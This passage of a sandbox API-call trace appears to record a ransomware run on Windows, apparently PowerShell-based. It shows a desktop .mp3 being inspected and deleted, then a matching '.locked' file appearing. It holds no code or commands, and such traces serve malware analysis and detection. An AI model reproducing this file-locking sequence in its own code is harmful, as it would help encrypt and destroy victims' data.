| out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.244] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.244] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.244] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.244] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.245] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0126.245] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.246] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.246] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.246] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.246] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.246] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.246] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.246] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.246] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.246] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.246] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0126.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0126.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0126.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0126.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0126.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0126.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3\\", lpFilePart=0x0) returned 0x4f [0126.249] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0126.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0126.249] CoTaskMemAlloc (cb=0x404) returned 0x8e38fb8 [0126.249] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8e38fb8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0126.249] CoTaskMemFree (pv=0x8e38fb8) [0126.250] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0126.250] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.250] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0126.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6c97cd8 | out: lpFileInformation=0x6c97cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f241190, ftCreationTime.dwHighDateTime=0x1d4aa9a, ftLastAccessTime.dwLowDateTime=0xb0c3d0e0, ftLastAccessTime.dwHighDateTime=0x1d49ded, ftLastWriteTime.dwLowDateTime=0xb0c3d0e0, ftLastWriteTime.dwHighDateTime=0x1d49ded, nFileSizeHigh=0x0, nFileSizeLow=0xa2b3)) returned 1 [0126.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0126.250] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 1 [0126.252] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.252] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.252] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.252] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.252] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.254] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3.locked")) returned 0x20 [0126.254] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3.locked")) returned 0x20 [0126.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", lpFilePart=0x0) returned 0x55 [0126.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", lpFilePart=0x0) returned 0x55 [0126.254] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.254] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.255] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.255] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.255] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.256] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.257] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.257] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.257] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.258] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.258] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.258] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.259] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.260] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.260] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.260] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.260] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.260] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.262] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.263] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.263] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x17, 